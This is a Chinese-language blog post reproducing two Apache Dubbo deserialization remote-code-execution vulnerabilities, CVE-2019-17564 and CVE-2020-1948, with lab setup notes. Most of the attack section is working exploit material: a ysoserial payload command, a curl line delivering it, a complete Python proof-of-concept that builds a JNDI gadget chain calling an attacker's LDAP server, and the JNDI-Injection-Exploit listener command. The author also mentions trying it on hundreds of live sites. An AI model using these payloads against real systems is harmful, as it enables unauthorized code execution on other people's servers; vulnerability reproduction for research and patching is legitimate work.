dubbo CVE-2019-17564 CVE-2020-1948 漏洞复现

img

简介

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

CVE-2019-17564

漏洞简介

Apache Dubbo支持多种协议,官方默认为 Dubbo 协议,但是当用户选择http协议进行通信时,Apache Dubbo 在接受来自消费者的远程调用的POST请求的时候会执行一个反序列化的操作,由于没有任何安全校验,于是可以造成反序列化执行任意代码。

影响版本

2.7.0 <= Apache Dubbo <= 2.7.4.1

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x

漏洞复现

漏洞环境搭建

使用 https://github.com/apache/dubbo-samples 中的 dubbo-samples-http

用IDEA打开后修改pom.xml中的dubbo.version到有漏洞的版本。

image-20210602002357239

还需要使用zookeeper,下载zookeeper后,修改conf 文件夹中的 zoo_sample.cfg 文件名称为zoo.cfg,添加这两行,并创建这两个目录,运行bin\zkServer.cmd文件启动zookeeper。image-20210602002617483

zookeeper启动还会占用8080端口启动个jetty,会和burp的8080代理端口冲突

尝试启动dubbo,看是否能启动成功,在这里踩了很多坑:

  • idea自动下载提示找不到dubbo2.7.3的包,自己手动下载导入了一个
  • 启动的时候又提示编译失败,查了下又是缺少javassist这个包,又下载javassist-3.20.0-GA.jar
  • 启动的时候8080又被占用,查看发现spring/http-provider.xml这个文件配置的tomcat也是用的8080,改成了8081

搞完这些,这个项目才正常跑起来,为了测试方便,还需要下载并导入commons-collections4这个包,不然发送payload后又提示缺少包。

image-20210602004328116

复现步骤

ysoserial生成payload,

java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections4 "calc" > payload.out

发送生成payload,漏洞地址为org.apache.dubbo.samples.http.api.DemoService

curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @payload.out

弹出计算器:

image-20210602004643556

网上所有文章复现都是在打/org.apache.dubbo.samples.http.api.DemoService ,然后就以为所有dubbo都会有这个地址。。。。结果试了几百个站全是404。。。(搞完感觉自己是个憨憨)

改过之后再又重新测了一遍,基本没有用http协议的,大多用的还是dubbo协议。。。

CVE-2020-1948

漏洞简介

Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。

影响版本

2.7.0 <= Apache Dubbo <= 2.7.7

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo 全部 2.5.x 版本

漏洞复现

利用脚本如下

需要安装依赖 pip install dubbo-py

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar开启个ldap监听,执行ping命令,然后运行上面的poc

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping xxxxxx"

python poc.py www.target.com 12345 ldap://www.yourweb:1389/exp

image-20210602012506116

image-20210602012838788

查看dnslog,发现命令成功执行

image-20210602012926780

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值